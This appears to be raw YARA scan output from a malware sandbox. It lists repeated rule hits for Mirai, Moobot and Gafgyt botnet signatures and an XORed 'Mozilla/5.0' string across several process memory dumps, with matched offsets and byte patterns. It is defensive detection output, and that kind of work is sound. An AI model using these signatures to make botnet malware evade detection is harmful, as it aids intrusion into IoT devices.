6389.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6389.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6389.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6389.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6389.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6389.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6487.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6487.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6487.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6487.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6487.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6487.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6664.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7357.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7357.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7357.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7357.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7357.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7357.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6439.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6439.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6439.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6439.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6439.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6439.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7271.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7271.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7271.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7271.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7271.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7271.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7187.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7187.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7187.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7187.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7187.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7187.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6685.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6685.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6685.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6685.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
